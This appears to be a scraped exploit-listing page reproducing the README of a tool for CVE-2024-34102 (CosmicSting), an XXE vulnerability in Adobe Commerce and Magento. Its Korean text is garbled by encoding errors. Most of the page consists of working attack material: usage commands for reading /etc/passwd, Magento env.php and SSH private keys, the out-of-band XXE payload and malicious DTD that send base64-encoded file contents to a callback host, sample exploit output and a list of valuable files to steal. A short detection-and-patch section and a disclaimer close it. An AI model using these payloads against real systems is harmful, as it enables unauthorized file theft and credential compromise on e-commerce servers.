## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-NMMORETTE-CVE-2024-34102
# CVE-2024-34102 - CosmicSting XXE μ΅μ€νλ‘μ
 
CVE-2024-34102(CosmicSting) - Adobe Commerce λ° Magentoμ XML External Entity(XXE) μ·¨μ½μ μ λν μ΅μ€νλ‘μμ
λλ€.
## π μ·¨μ½μ μ 보
**CVE-2024-34102** λ λ€μμ μν₯μ μ£Όλ μΉλͺ
μ μΈ XXE(XML External Entity) μ·¨μ½μ μ
λλ€:
* Adobe Commerce λ²μ 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 λ° μ΄μ λ²μ
* Magento Open Source(λμΌ λ²μ )
μ΄ μ·¨μ½μ μΌλ‘ μΈμ¦λμ§ μμ 곡격μλ λ€μμ μνν μ μμ΅λλ€:
* π μλ²μμ μμμ νμΌ μ½κΈ°
* π μ격 μ¦λͺ
λ° λ―Όκ°ν κ΅¬μ± μ 보 μ μΆ
* πΎ λ°μ΄ν°λ² μ΄μ€ μ 보 μ κ·Ό
* π¨ μμ μ½λ μ€ν(μΌλΆ μλ리μ€μμ)
**CVSS μ μ:** 9.8(μΉλͺ
μ )
## π― ν¬λ λ§
μ΄ μ΅μ€νλ‘μμ λ€μ μ¬λμ μλ³Έ μμ
μ κΈ°λ°μΌλ‘ ν©λλ€:
* **@Chocapikk** \- μλ³Έ CVE-2024-34102
### μ΄ λ²μ μ κ°μ μ¬ν:
* β
컀μ€ν
λμ DTD μλ²(fars.ee μμ‘΄μ± μ κ±°)
* β
μλ λμ½λ©μ μ§μνλ μ½λ°± μλ²
* β
νμ νλΌλ―Έν° κ²μ¦
* β
μΈλΆ μλΉμ€ μ¬μλ λ‘μ§
* β
λ μμΈν μ€λ₯ λ©μμ§
* β
μ½λ°± HTTPS μ§μ
* β
Python 3.8+ μμ νΈν
## π οΈ μꡬ μ¬ν
* Python 3.8 μ΄μ
* DTD νμΌμ νΈμ€ν
ν μλ²μ λν μ κ·Ό κΆν(VPS, Burp Collaborator λ±)
* μ½λ°± μλΉμ€(Burp Collaborator, Oastify λλ μ체 μλ²)
## π¦ μ€μΉ
root@kitploit:~
# Clone the repository
git clone https://github.com/YOUR_USERNAME/CVE-2024-34102.git
cd CVE-2024-34102
# Install dependencies
pip install -r requirements.txt
## π μ¬μ©λ²
### λ°©λ² 1: fars.ee μ¬μ©(μλ)
root@kitploit:~
python3 exploit.py \
-u https://target.com \
-f /etc/passwd \
-c your-callback.oastify.com
### λ°©λ² 2: μ체 DTD μλ² μ¬μ©
**ν°λ―Έλ 1 - DTD μλ²:**
root@kitploit:~
sudo python3 server_dtd.py
**ν°λ―Έλ 2 - μ΅μ€νλ‘μ:**
root@kitploit:~
python3 exploit.py \
-u https://target.com \
-f /etc/passwd \
-c your-callback.oastify.com \
--dtd-server YOUR-IP:8000
### λ°©λ² 3: μ체 μ½λ°± μλ² μ¬μ©
**ν°λ―Έλ 1 - DTD μλ²:**
root@kitploit:~
sudo python3 server_dtd.py
**ν°λ―Έλ 2 - μ½λ°± μλ²(μλ λμ½λ©):**
root@kitploit:~
sudo python3 callback_server.py
**ν°λ―Έλ 3 - μ΅μ€νλ‘μ:**
root@kitploit:~
python3 exploit.py \
-u https://target.com \
-f /etc/passwd \
-c YOUR-CALLBACK-IP \
--dtd-server YOUR-DTD-IP:8000
## π νλΌλ―Έν°
### νμ:
* `-u, --url` \- λμ URL(κΈ°λ³Έ λλ©μΈ)
* `-f, --file` \- μλ²μμ μ½μ νμΌ(μ: /etc/passwd)
* `-c, --callback` \- μ½λ°± μλ²(IP/λλ©μΈ)
### μ ν:
* `--dtd-server` \- DTD νμΌμ νΈμ€ν
ν 컀μ€ν
μλ²
* `--https` \- μ½λ°±μ HTTPS μ¬μ©(κΈ°λ³Έκ°: HTTP)
## π¬ μμ
### /etc/passwd μ½κΈ°
root@kitploit:~
python3 exploit.py \
-u https://vulnerable-site.com \
-f /etc/passwd \
-c abc123.oastify.com \
--dtd-server 192.168.1.100:8000
### Magento κ΅¬μ± μ½κΈ°
root@kitploit:~
python3 exploit.py \
-u https://vulnerable-site.com \
-f /var/www/html/app/etc/env.php \
-c abc123.oastify.com \
--dtd-server 192.168.1.100:8000
### SSH ν€ μ½κΈ°
root@kitploit:~
python3 exploit.py \
-u https://vulnerable-site.com \
-f /home/ubuntu/.ssh/id_rsa \
-c abc123.burpcollaborator.net \
--dtd-server 192.168.1.100:8000 \
--https
## π μλ λ°©μ
### 1\. **Out-of-Band XXE**
μ΄ μ΅μ€νλ‘μμ λ°μ΄ν° μ μΆμ μν΄ Out-of-Band XXE κΈ°λ²μ μ¬μ©ν©λλ€:
root@kitploit:~
<!-- Payload sent to target -->
<!DOCTYPE r [
<!ENTITY % sp SYSTEM "http://your-server/exploit.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
### 2\. **μΈλΆ DTD**
λμ μλ²κ° μ
μ± DTDλ₯Ό λ€μ΄λ‘λν©λλ€:
root@kitploit:~
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://callback/?exploited=%data;'>">
### 3\. **λ°μ΄ν° μ μΆ**
μλ²κ° XMLμ μ²λ¦¬νκ³ νμΌμ μ½μ λ€μ base64λ‘ μΈμ½λ©νμ¬ μ½λ°±μΌλ‘ μ μ‘ν©λλ€:
root@kitploit:~
GET /?exploited=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo...
### 4\. **λμ½λ©**
root@kitploit:~
echo "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo..." | base64 -d
## π μΆλ ₯ μμ
root@kitploit:~
[*] CosmicSting XXE Exploit (CVE-2024-34102)
[*] Target: https://vulnerable-site.com
[+] Callback Server: abc123.oastify.com
[+] Using custom DTD server: 192.168.1.100:8000
[+] DTD URL: http://192.168.1.100:8000/12ec6594.dtd?callback=abc123.oastify.com&file=/etc/passwd&protocol=http
DTD will be dynamically generated with:
[*] Callback: http://abc123.oastify.com
[*] File: /etc/passwd
DTD server is running? Ready to continue? [y/N]: y
[+] Target file: /etc/passwd
[+] Callback URL: http://abc123.oastify.com/?exploited=...
[*] Sending XXE payload to: https://vulnerable-site.com/rest/V1/guest-carts/1/estimate-shipping-methods
[*] Response status: 500
[!] Status 500 - This is normal! XXE may have triggered.
[!] Check your callback server for incoming requests.
[*] Waiting for callback (5 seconds)...
=== CHECK YOUR CALLBACK SERVER ===
[!] Monitor your callback service for incoming HTTP requests
[!] Expected request: http://abc123.oastify.com/?exploited=<base64_data>
To decode the exfiltrated data:
[*] echo 'BASE64_STRING' | base64 -d
[!] Check your Burp Collaborator or Oastify dashboard now!
## π‘οΈ νμ§ λ° λμ
### λ°©μ΄μλ₯Ό μν:
**νμ§:**
* `/rest/V1/guest-carts/*/estimate-shipping-methods` μλν¬μΈνΈμ λν HTTP μμ² λͺ¨λν°λ§
* μΈλΆ μν°ν°(`<!ENTITY`)κ° ν¬ν¨λ XML νμ΄λ‘λμ λν κ²½κ³
* μμ¬μ€λ¬μ΄ λλ©μΈμΌλ‘μ μΈλΆ μ°κ²° νμ§
**λμ:**
* ν¨μΉλ λ²μ μΌλ‘ μ
λ°μ΄νΈ:
* Adobe Commerce 2.4.7-p1, 2.4.6-p6, 2.4.5-p8, 2.4.4-p9
* XML νμμμ μΈλΆ μν°ν° μ²λ¦¬ λΉνμ±ν
* anti-XXE κ·μΉμ΄ ν¬ν¨λ WAF ꡬν
### νν
μ€ν°λ₯Ό μν:
**ν
μ€νΈν κ°μΉκ° μλ νμΌ:**
root@kitploit:~
/etc/passwd
/var/www/html/app/etc/env.php
/var/www/html/app/etc/local.xml
/home/USER/.ssh/id_rsa
/var/log/apache2/access.log
/proc/self/environ
## βοΈ λ²μ κ³ μ§
root@kitploit:~
This exploit is provided for educational and security research purposes only.
Using this code to test systems without explicit authorization is ILLEGAL.
You are SOLELY responsible for your actions. Use only on:
β
Your own test environments
β
Authorized bug bounty programs
β
Contracted penetration tests
DO NOT use on:
β Systems without authorization
β Production environments without permission
β Any malicious activity
The author is not responsible for misuse of this code.
## π μ°Έκ³ μλ£
* Adobe Security Bulletin APSB24-40
* CVE-2024-34102 μμΈ μ 보
* OWASP XXE μλ°©
* Chocapikkμ μλ³Έ μ΅μ€νλ‘μ
* * *
**β μ΄ νλ‘μ νΈκ° μ μ©νλ€λ©΄ μ€νλ₯Ό λ¨κ²¨μ£ΌμΈμ!**